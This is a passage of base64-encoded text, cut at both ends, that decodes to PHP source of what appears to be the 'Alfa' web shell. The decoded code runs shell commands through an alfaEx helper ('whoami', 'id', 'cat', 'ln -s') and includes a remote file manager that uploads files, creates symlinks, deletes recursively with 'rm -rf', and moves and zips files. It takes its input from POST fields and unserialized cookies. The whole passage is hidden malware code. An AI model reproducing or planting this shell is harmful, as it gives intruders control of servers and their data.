W5Db21tYW5kKCRjZ2k9dHJ1ZSwkY2FjaGU9dHJ1ZSl7DQoJaWYoaXNzZXQoJF9DT09LSUVbImFsZmFfY2FucnVuY21kIl0pJiYkY2FjaGUpew0KCQlyZXR1cm4gdHJ1ZTsNCgl9DQoJaWYoc3RybGVuKGFsZmFFeCgid2hvYW1pIixmYWxzZSwkY2dpKSk+MCl7DQoJCSRfQ09PS0lFWyJhbGZhX2NhbnJ1bmNtZCJdID0gdHJ1ZTsNCgkJcmV0dXJuIHRydWU7DQoJfQ0KCXJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIF9hbGZhX3N5bWxpbmsoJHRhcmdldCwgJGxpbmspew0KCSRwaHBzeW0gPSBmdW5jdGlvbl9leGlzdHMoInN5bWxpbmsiKTsNCglpZigkcGhwc3ltKXsNCgkJQHN5bWxpbmsoJHRhcmdldCwgJGxpbmspOw0KCX1lbHNlew0KCQlhbGZhRXgoImxuIC1zICciLmFkZHNsYXNoZXMoJHRhcmdldCkuIicgJyIuYWRkc2xhc2hlcygkbGluaykuIiciKTsNCgl9DQp9DQpmdW5jdGlvbiBfYWxmYV9maWxlX2V4aXN0cygkZmlsZSwkY2dpPXRydWUpew0KCWlmKEBmaWxlX2V4aXN0cygkZmlsZSkpew0KCQlyZXR1cm4gdHJ1ZTsNCgl9ZWxzZXsNCgkJaWYoc3RybGVuKGFsZmFFeCgibHMgLWxhICciLmFkZHNsYXNoZXMoJGZpbGUpLiInIixmYWxzZSwkY2dpKSk+MCl7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfQ0KCX0NCglyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBfYWxmYV9maWxlKCRmaWxlLCRjZ2k9dHJ1ZSl7DQoJJGFycmF5ID0gQGZpbGUoJGZpbGUpOw0KCWlmKCEkYXJyYXkpew0KCQlpZihzdHJsZW4oYWxmYUV4KCJpZCIsZmFsc2UsJGNnaSkpPjApew0KCQkJJGRhdGEgPSBhbGZhRXgoJ2NhdCAiJy5hZGRzbGFzaGVzKCRmaWxlKS4nIicsZmFsc2UsJGNnaSk7DQoJCQlpZihzdHJsZW4oJGRhdGEpPjApew0KCQkJCXJldHVybiBleHBsb2RlKCJcbiIsICRkYXRhKTsNCgkJCX1lbHNlew0KCQkJCXJldHVybiBmYWxzZTsNCgkJCX0NCgkJfWVsc2V7DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgl9ZWxzZXsNCgkJcmV0dXJuICRhcnJheTsNCgl9DQp9DQpmdW5jdGlvbiBfYWxmYV9pc193cml0YWJsZSgkZmlsZSl7DQoJJGNoZWNrID0gZmFsc2U7DQoJJGNoZWNrID0gQGlzX3dyaXRhYmxlKCRmaWxlKTsNCglpZighJGNoZWNrKXsNCgkJaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQoKSl7DQoJCQkkY2hlY2sgPSBhbGZhRXgoJ1sgLXcgIicudHJpbShhZGRzbGFzaGVzKCRmaWxlKSkuJyIgXSAmJiBlY2hvICJ5ZXMiIHx8IGVjaG8gIm5vIicpOw0KCQkJaWYoJGNoZWNrID09ICJ5ZXMiKXsNCgkJCQkkY2hlY2sgPSB0cnVlOw0KCQkJfWVsc2V7DQoJCQkJJGNoZWNrID0gZmFsc2U7DQoJCQl9DQoJCX0NCgl9DQoJcmV0dXJuICRjaGVjazsNCn0NCmZ1bmN0aW9uIF9hbGZhX2lzX2RpcigkZGlyLCRtb2RlPSItZCIpew0KCSRjaGVjayA9IGZhbHNlOw0KCSRjaGVjayA9IEBpc19kaXIoJGRpcik7DQoJaWYoJG1vZGUgPT0gIi1lIil7DQoJCSRjaGVjayA9IEBpc19maWxlKCRkaXIpOw0KCX0NCglpZighJGNoZWNrKXsNCgkJaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQoKSl7DQoJCQkkY2hlY2sgPSBhbGZhRXgoJ1sgIicudHJpbSgkbW9kZSkuJyIgIicudHJpbShhZGRzbGFzaGVzKCRkaXIpKS4nIiBdICYmIGVjaG8gInllcyIgfHwgZWNobyAibm8iJyk7DQoJCQlpZigkY2hlY2sgPT0gInllcyIpew0KCQkJCXJldHVybiB0cnVlOw0KCQkJfWVsc2V7DQoJCQkJcmV0dXJuIGZhbHNlOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiAkY2hlY2s7DQp9DQpmdW5jdGlvbiBfYWxmYV9sb2FkX2FjZV9vcHRpb25zKCRiYXNlKXsNCglyZXR1cm4gJzxzcGFuPlRoZW1lOiA8L3NwYW4+PHNlbGVjdCBjbGFzcz0iYWNlLWNvbnRyb2xlciBhY2UtdGhlbWUtc2VsZWN0b3IiIGJhc2U9IicuJGJhc2UuJyIgb25DaGFuZ2U9ImFsZmFBY2VDaGFuZ2VTZXR0aW5nKHRoaXMsXCd0aGVtZVwnKTsiPjxvcHRpb24gdmFsdWU9InRlcm1pbmFsIiBzZWxlY3RlZD50ZXJtaW5hbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImFtYmlhbmNlIj5hbWJpYW5jZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNoYW9zIj5jaGFvczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNocm9tZSI+Y2hyb21lPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY2xvdWRzIj5jbG91ZHM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjbG91ZHNfbWlkbmlnaHQiPmNsb3Vkc19taWRuaWdodDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNvYmFsdCI+Y29iYWx0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY3JpbXNvbl9lZGl0b3IiPmNyaW1zb25fZWRpdG9yPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZGF3biI+ZGF3bjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRyYWN1bGEiPmRyYWN1bGE8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJkcmVhbXdlYXZlciI+ZHJlYW13ZWF2ZXI8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJlY2xpcHNlIj5lY2xpcHNlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZ2l0aHViIj5naXRodWI8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJnb2IiPmdvYjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImdydXZib3giPmdydXZib3g8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJpZGxlX2ZpbmdlcnMiPmlkbGVfZmluZ2Vyczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImlwbGFzdGljIj5pcGxhc3RpYzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImthdHplbm1pbGNoIj5rYXR6ZW5taWxjaDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImtyX3RoZW1lIj5rcl90aGVtZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Imt1cm9pciI+a3Vyb2lyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibWVyYml2b3JlIj5tZXJiaXZvcmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtZXJiaXZvcmVfc29mdCI+bWVyYml2b3JlX3NvZnQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtb25vX2luZHVzdHJpYWwiPm1vbm9faW5kdXN0cmlhbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Im1vbm9rYWkiPm1vbm9rYWk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJub3JkX2RhcmsiPm5vcmRfZGFyazwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBhc3RlbF9vbl9kYXJrIj5wYXN0ZWxfb25fZGFyazwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNvbGFyaXplZF9kYXJrIj5zb2xhcml6ZWRfZGFyazwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNvbGFyaXplZF9saWdodCI+c29sYXJpemVkX2xpZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ic3Fsc2VydmVyIj5zcWxzZXJ2ZXI8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0ZXh0bWF0ZSI+dGV4dG1hdGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0b21vcnJvdyI+dG9tb3Jyb3c8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0b21vcnJvd19uaWdodCI+dG9tb3Jyb3dfbmlnaHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0b21vcnJvd19uaWdodF9ibHVlIj50b21vcnJvd19uaWdodF9ibHVlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHRfYnJpZ2h0Ij50b21vcnJvd19uaWdodF9icmlnaHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0b21vcnJvd19uaWdodF9laWdodGllcyI+dG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ0d2lsaWdodCI+dHdpbGlnaHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ2aWJyYW50X2luayI+dmlicmFudF9pbms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ4Y29kZSI+eGNvZGU8L29wdGlvbj48L3NlbGVjdD48c3Bhbj5MYW5ndWFnZTogPC9zcGFuPjxzZWxlY3QgY2xhc3M9ImFjZS1jb250cm9sZXIiIGJhc2U9IicuJGJhc2UuJyIgb25DaGFuZ2U9ImFsZmFBY2VDaGFuZ2VTZXR0aW5nKHRoaXMsXCdsYW5nXCcpOyI+PG9wdGlvbiB2YWx1ZT0icGhwIj5waHA8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJweXRob24iPnB5dGhvbjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBlcmwiPnBlcmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjX2NwcCI+Yy9jKys8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjc2hhcnAiPmMjPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0icnVieSI+cnVieTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Imh0bWwiPmh0bWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJqYXZhc2NyaXB0Ij5qYXZhc2NyaXB0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY3NzIj5jc3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ4bWwiPnhtbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNxbCI+c3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ic3dpZnQiPnN3aWZ0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ic2giPmJhc2g8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJsdWEiPmx1YTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBvd2Vyc2hlbGwiPnBvd2Vyc2hlbGw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJqc3AiPmpzcDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImphdmEiPmphdmE8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJqc29uIj5qc29uPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0icGxhaW5fdGV4dCI+cGxhaW5fdGV4dDwvb3B0aW9uPjwvc2VsZWN0PjxzcGFuPlNvZnQgV3JhcDogPC9zcGFuPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0id3JhcG1vZGUiIGNsYXNzPSJhY2UtY29udHJvbGVyIiBvbkNsaWNrPSJhbGZhQWNlQ2hhbmdlV3JhcE1vZGUodGhpcyxcJycuJGJhc2UuJ1wnKTsiIGNoZWNrZWQ+IHwgPHNwYW4+Rm9udCBTaXplOiA8L3NwYW4+PGJ1dHRvbiBjbGFzcz0iYWNlLWNvbnRyb2xlciIgc3R5bGU9ImN1cnNvcjpwb2ludGVyOyIgb25jbGljaz0iYWxmYUFjZUNoYW5nZUZvbnRTaXplKFwnJy4kYmFzZS4nXCcsXCcrXCcsIHRoaXMpO3JldHVybiBmYWxzZTsiPis8L2J1dHRvbj4gfCA8YnV0dG9uIHN0eWxlPSJjdXJzb3I6cG9pbnRlcjsiIGNsYXNzPSJhY2UtY29udHJvbGVyIiBvbmNsaWNrPSJhbGZhQWNlQ2hhbmdlRm9udFNpemUoXCcnLiRiYXNlLidcJywgXCctXCcsIHRoaXMpO3JldHVybiBmYWxzZTsiPi08L2J1dHRvbj4gfCAnOw0KfQ0KZnVuY3Rpb24gYWxmYUZpbGVzTWFuMigpew0KCWFsZmFoZWFkKCk7DQoJQWxmYU51bSg4LDksMTAsNyw2LDUsNCk7DQoJZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246cmVsYXRpdmU7IiBmbV9pZD0iMSIgaWQ9ImZpbGVzbWFuX2hvbGRlcl8xIiBjbGFzcz0iYWpheGFyZWEgZmlsZXNtYW4tYWN0aXZlLWNvbnRlbnQiPjxkaXYgY2xhc3M9ImhlYWRlciI+PC9kaXY+PC9kaXY+JzsNCglhbGZhRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsNCmlmKEBpc19kaXIoJGMuJHMpKXsNCkBta2RpcigkZC4kcyk7DQokaCA9IEBvcGVuZGlyKCRjLiRzKTsNCndoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCmlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQ0KY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQp9IGVsc2VpZihpc19maWxlKCRjLiRzKSkNCkBjb3B5KCRjLiRzLCAkZC4kcyk7DQp9DQpmdW5jdGlvbiBhbGZhRmlsZXNNYW4oKXsNCmlmKCFlbXB0eSAoJF9DT09LSUVbJ2FsZmFfZiddKSkNCiRfQ09PS0lFWydhbGZhX2YnXSA9IEB1bnNlcmlhbGl6ZSgkX0NPT0tJRVsnYWxmYV9mJ10pOw0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpew0Kc3dpdGNoKCRfUE9TVFsnYWxmYTEnXSl7DQpjYXNlICd1cGxvYWRGaWxlJzoNCiRtb3ZlX2NtZF9maWxlID0gZmFsc2U7DQokYWxmYV9jYW5ydW5jbWQgPSBmYWxzZTsNCmlmKCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10pew0KCSRhbGZhX2NhbnJ1bmNtZCA9IF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSk7DQoJJG1vdmVfY21kX2ZpbGUgPSB0cnVlOw0KfQ0KaWYoX2FsZmFfaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKSl7DQokZmlsZXMgPSByZUFycmF5RmlsZXMoJF9GSUxFU1snZiddKTsNCiRyZXRfZmlsZXMgPSBhcnJheSgpOw0KZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpew0KaWYoJG1vdmVfY21kX2ZpbGUmJiRhbGZhX2NhbnJ1bmNtZCl7DQoJYWxmYUV4KCJjYXQgJyIuYWRkc2xhc2hlcygkZmlsZVsndG1wX25hbWUnXSkuIicgPiAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiYyJdLiIvIi4kZmlsZVsnbmFtZSddKS4iJyIpOw0KfWVsc2V7DQoJaWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwkZmlsZVsnbmFtZSddKSl7DQoJCSRvdyA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKT9AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZVsnbmFtZSddKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7DQoJCSRnciA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlZ3JvdXAiKT9AcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZmlsZVsnbmFtZSddKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7DQoJCSRmaWxlX293bmVyID0gJG93WyduYW1lJ10/JG93WyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkZmlsZVsnbmFtZSddKToiPz8/PyIpOw0KCQkkZmlsZV9ncm91cCA9ICRnclsnbmFtZSddPyRnclsnbmFtZSddOihmdW5jdGlvbl9leGlzdHMoImZpbGVncm91cCIpP0BmaWxlZ3JvdXAoJGZpbGVbJ25hbWUnXSk6Ij8/Pz8iKTsNCgkJJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkZmlsZVsnbmFtZSddKSk7DQoJCSRmaWxlX3Blcm0gPSBhbGZhUGVybXNDb2xvcigkZmlsZVsnbmFtZSddKTsNCgkJJGZpbGVfc2l6ZSA9IEBmaWxlc2l6ZSgkZmlsZVsnbmFtZSddKTsNCgkJJHJldF9maWxlc1tdID0gYXJyYXkoIm5hbWUiID0+ICRmaWxlWyduYW1lJ10sICJzaXplIiA9PiBhbGZhU2l6ZSgkZmlsZV9zaXplKSwgInBlcm0iID0+ICRmaWxlX3Blcm0sICJtb2RpZnkiID0+ICRmaWxlX21vZGlmeSwgIm93bmVyIiA9PiAkZmlsZV9vd25lci4iLyIuJGZpbGVfZ3JvdXApOw0KCX0NCn0NCn0NCmlmKCEkbW92ZV9jbWRfZmlsZSl7DQoJZWNobyBqc29uX2VuY29kZSgkcmV0X2ZpbGVzKTsNCn0NCn1lbHNlew0KCWVjaG8gIm5vcGVybSI7DQoJcmV0dXJuOw0KfQ0KaWYoISRtb3ZlX2NtZF9maWxlKXsNCnJldHVybjsNCn0NCmJyZWFrOw0KY2FzZSAnbWtkaXInOg0KJG5ld19kaXJfY21kID0gZmFsc2U7DQppZigkR0xPQkFMU1snZ2xvYl9jaGRpcl9mYWxzZSddKXsNCglpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsNCgkJaWYoX2FsZmFfaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKSl7DQoJCQlpZighX2FsZmFfaXNfZGlyKHRyaW0oJF9QT1NUWydhbGZhMiddKSkpew0KCQkJCWFsZmFFeCgiY2QgJyIudHJpbShhZGRzbGFzaGVzKCRfUE9TVFsnYyddKSkuIic7bWtkaXIgJyIudHJpbShhZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkpLiInIik7DQoJCQkJZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiBjcmVhdGVkLi4uJywgJ0ZpbGVzIG1hbmFnZXInKTs8L3NjcmlwdD4iOw0KCQkJfWVsc2V7DQoJCQkJZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignZm9sZGVyIGFscmVhZHkgZXhpc3RlZCcsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsNCgkJCX0NCgkJfWVsc2V7DQoJCQllY2hvICI8c2NyaXB0PmFsZmFTaG93Tm90aWZpY2F0aW9uKCdmb2xkZXIgaXNudCB3cml0YWJsZSAhJywgJ0ZpbGVzIG1hbmFnZXInLCAnZXJyb3InKTs8L3NjcmlwdD4iOw0KCQl9DQoJfWVsc2V7DQoJCWVjaG8gIjxzY3JpcHQ+YWxmYVNob3dOb3RpZmljYXRpb24oJ0NhblwndCBjcmVhdGUgbmV3IGRpciAhJywgJ0ZpbGVzIG1hbmFnZXInLCAnZXJyb3InKTs8L3NjcmlwdD4iOw0KCX0NCn1lbHNlew0KCWlmKF9hbGZhX2lzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSkpew0KCQlpZighX2FsZmFfaXNfZGlyKHRyaW0oJF9QT1NUWydhbGZhMiddKSkpew0KCQkJaWYoIUBta2Rpcih0cmltKCRfUE9TVFsnYWxmYTInXSkpKXsNCgkJCQllY2hvICI8c2NyaXB0PmFsZmFTaG93Tm90aWZpY2F0aW9uKCdDYW5cJ3QgY3JlYXRlIG5ldyBkaXIgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsNCgkJCX1lbHNlew0KCQkJCWVjaG8gIjxzY3JpcHQ+YWxmYVNob3dOb3RpZmljYXRpb24oJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmEyJ10pLiIgY3JlYXRlZC4uLicsICdGaWxlcyBtYW5hZ2VyJyk7PC9zY3JpcHQ+IjsNCgkJCX0NCgkJfWVsc2V7DQoJCQllY2hvICI8c2NyaXB0PmFsZmFTaG93Tm90aWZpY2F0aW9uKCdmb2xkZXIgYWxyZWFkeSBleGlzdGVkJywgJ0ZpbGVzIG1hbmFnZXInLCAnZXJyb3InKTs8L3NjcmlwdD4iOw0KCQl9DQoJfWVsc2V7DQoJCWVjaG8gIjxzY3JpcHQ+YWxmYVNob3dOb3RpZmljYXRpb24oJ2ZvbGRlciBpc250IHdyaXRhYmxlICEnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7DQoJfQ0KfQ0KYnJlYWs7DQpjYXNlICdkZWxldGUnOg0KZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKXsNCiRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7DQokZGggPSBAb3BlbmRpcigkcGF0aCk7DQp3aGlsZSgoJGl0ZW0gPSBAcmVhZGRpcigkZGgpKSAhPT0gZmFsc2Upew0KJGl0ZW0gPSAkcGF0aC4kaXRlbTsNCmlmKChiYXNlbmFtZSgkaXRlbSkgPT0gIi4uIikgfHwgKGJhc2VuYW1lKCRpdGVtKSA9PSAiLiIpKQ0KY29udGludWU7DQokdHlwZSA9IEBmaWxldHlwZSgkaXRlbSk7DQppZiAoJHR5cGUgPT0gImRpciIpDQpkZWxldGVEaXIoJGl0ZW0pOw0KZWxzZQ0KQHVubGluaygkaXRlbSk7DQp9DQpAY2xvc2VkaXIoJGRoKTsNCkBybWRpcigkcGF0aCk7DQp9DQppZihpc19hcnJheShAJF9QT1NUWydmJ10pKQ0KZm9yZWFjaCgkX1BPU1RbJ2YnXSBhcyAkZil7DQppZigkZiA9PSAnLi4nKQ0KY29udGludWU7DQokZiA9IHJhd3VybGRlY29kZSgkZik7DQppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKXsNCglpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsNCgkJYWxmYUV4KCJybSAtcmYgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2MnXS4nLycuJGYpLiInIik7DQoJfQ0KfWVsc2V7DQphbGZhRXgoInJtIC1yZiAnIi5hZGRzbGFzaGVzKCRmKS4iJyIsZmFsc2UsZmFsc2UpOw0KaWYoQGlzX2RpcigkZikpDQpkZWxldGVEaXIoJGYpOw0KZWxzZQ0KQHVubGluaygkZik7DQp9DQp9DQppZihAaXNfZGlyKHJhd3VybGRlY29kZShAJF9QT1NUWydhbGZhMiddKSkmJnJhd3VybGRlY29kZShAJF9QT1NUWydhbGZhMiddKSE9Jy4uJyl7DQpkZWxldGVEaXIocmF3dXJsZGVjb2RlKEAkX1BPU1RbJ2FsZmEyJ10pKTsNCmFsZmFFeCgicm0gLXJmICciLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMiddKS4iJyIsZmFsc2UsZmFsc2UpOw0KfWVsc2V7DQpAdW5saW5rKHJhd3VybGRlY29kZShAJF9QT1NUWydhbGZhMiddKSk7DQp9DQppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKXsNCgkkc291cmNlID0gcmF3dXJsZGVjb2RlKEAkX1BPU1RbJ2FsZmEyJ10pOw0KCWlmKCRzb3VyY2UhPScuLicmJiFlbXB0eSgkc291cmNlKSl7DQoJCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpew0KCQkJYWxmYUV4KCJjZCAnIi50cmltKGFkZHNsYXNoZXMoJF9QT1NUWydjJ10pKS4iJztybSAtcmYgJyIuYWRkc2xhc2hlcygkc291cmNlKS4iJyIpOw0KCQl9DQoJfQ0KfQ0KaWYoaXNfYXJyYXkoJF9QT1NUWydmJ10pKQ0KcmV0dXJuOw0KYnJlYWs7DQpjYXNlICdwYXN0ZSc6DQppZigkX0NPT0tJRVsnYWxmYV9hY3QnXSA9PSAnY29weScmJmlzc2V0KCRfQ09PS0lFWydhbGZhX2YnXSkpew0KZm9yZWFjaCgkX0NPT0tJRVsnYWxmYV9mJ10gYXMgJGYpDQpjb3B5X3Bhc3RlKCRfQ09PS0lFWydhbGZhX2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsNCn1lbHNlaWYoJF9DT09LSUVbJ2FsZmFfYWN0J10gPT0gJ21vdmUnJiZpc3NldCgkX0NPT0tJRVsnYWxmYV9mJ10pKXsNCmZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsJHMsJGQpew0KaWYoQGlzX2RpcigkYy4kcykpew0KQG1rZGlyKCRkLiRzKTsNCiRoID0gQG9wZW5kaXIoJGMuJHMpOw0Kd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KaWYoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkNCmNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KfWVsc2VpZihAaXNfZmlsZSgkYy4kcykpDQpAY29weSgkYy4kcywgJGQuJHMpOw0KfQ0KZm9yZWFjaCgkX0NPT0tJRVsnYWxmYV9mJ10gYXMgJGYpDQpAcmVuYW1lKCRfQ09PS0lFWydhbGZhX2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsNCn1lbHNlaWYoJF9DT09LSUVbJ2FsZmFfYWN0J10gPT0gJ3ppcCcmJmlzc2V0KCRfQ09PS0lFWydhbGZhX2YnXSkpew0KaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpew0KJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQokemlwWCA9ICJhbGZhXyIucmFuZCgxLDEwMDApLiIuemlwIjsNCmlmKCR6aXAtPm9wZW4oJHppcFgsIDEpKXsNCkBjaGRpcigkX0NPT0tJRVsnYWxmYV9jJ10pOw0KZm9yZWFjaCgkX0NPT0tJRVsnYWxmYV9mJ10gYXMgJGYpew0KaWYoJGYgPT0gJy4uJyljb250aW51ZTsNCmlmKEBpc19maWxlKCRfQ09PS0lFWydhbGZhX2MnXS4kZikpDQokemlwLT5hZGRGaWxlKCRfQ09PS0lFWydhbGZhX2MnXS4kZiwgJGYpOw0KZWxzZWlmKEBpc19kaXIoJF9DT09LSUVbJ2FsZmFfYyddLiRmKSl7DQokaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nKSk7DQpmb3JlYWNoKCRpdGVyYXRvciBhcyAka2V5PT4kdmFsdWUpew0KJGtleSA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLHJlYWxwYXRoKCRrZXkpKTsNCmlmKEBpc19kaXIoJGtleSkpew0KaWYoaW5fYXJyYXkoc3Vic3RyKCRrZXksIHN0cnJwb3MoJGtleSwnLycpKzEpLGFycmF5KCcuJywgJy4uJykpKWNvbnRpbnVlOw0KfWVsc2V7JHppcC0+YWRkRmlsZSgka2V5LCRrZXkpO319fX0NCkBjaGRpcigkR0xPQkFMU1snY3dkJ10pOw0KJHppcC0+Y2xvc2UoKTsNCl9fYWxlcnQoJz4+ICcuJHppcFguJyA8PCBpcyBjcmVhdGVkLi4uJyk7fX0NCn1lbHNlaWYoJF9DT09LSUVbJ2FsZmFfYWN0J10gPT0gJ3VuemlwJyYmaXNzZXQoJF9DT09LSUVbJ2FsZmFfZiddKSl7DQppZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSl7DQokemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCmZvcmVhY2goJF9DT09LSUVbJ2FsZmFfZiddIGFzICRmKSB7DQppZigkemlwLT5vcGVuKCRfQ09PS0lFWydhbGZhX2MnXS4kZikpew0KJHppcC0+ZXh0cmFjdFRvKCRfQ09PS0lFWydhbGZhX2N3ZCddKTsNCiR6aXAtPmNsb3NlKCk7fX19fQ0KdW5zZXQoJF9DT09LSUVbJ2FsZmFfZiddKTsNCmJyZWFrOw0KZGVmYXVsdDoNCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXsNCmlmKGluX2FycmF5KCRfUE9TVFsnYWxmYTEnXSwgYXJyYXkoImNvcHkiLCAibW92ZSIsICJ6aXAiLCAidW56aXAiKSkpew0KX19hbGZhX3NldF9jb29raWUoJ2FsZmFfYWN0JywgQCRfUE9TVFsnYWxmYTEnXSk7DQpfX2FsZmFfc2V0X2Nvb2tpZSgnYWxmYV9mJywgQHNlcmlhbGl6ZSgkX1BPU1RbJ2YnXSkpOw0KX19hbGZhX3NldF9jb29raWUoJ2FsZmFfYycsIEA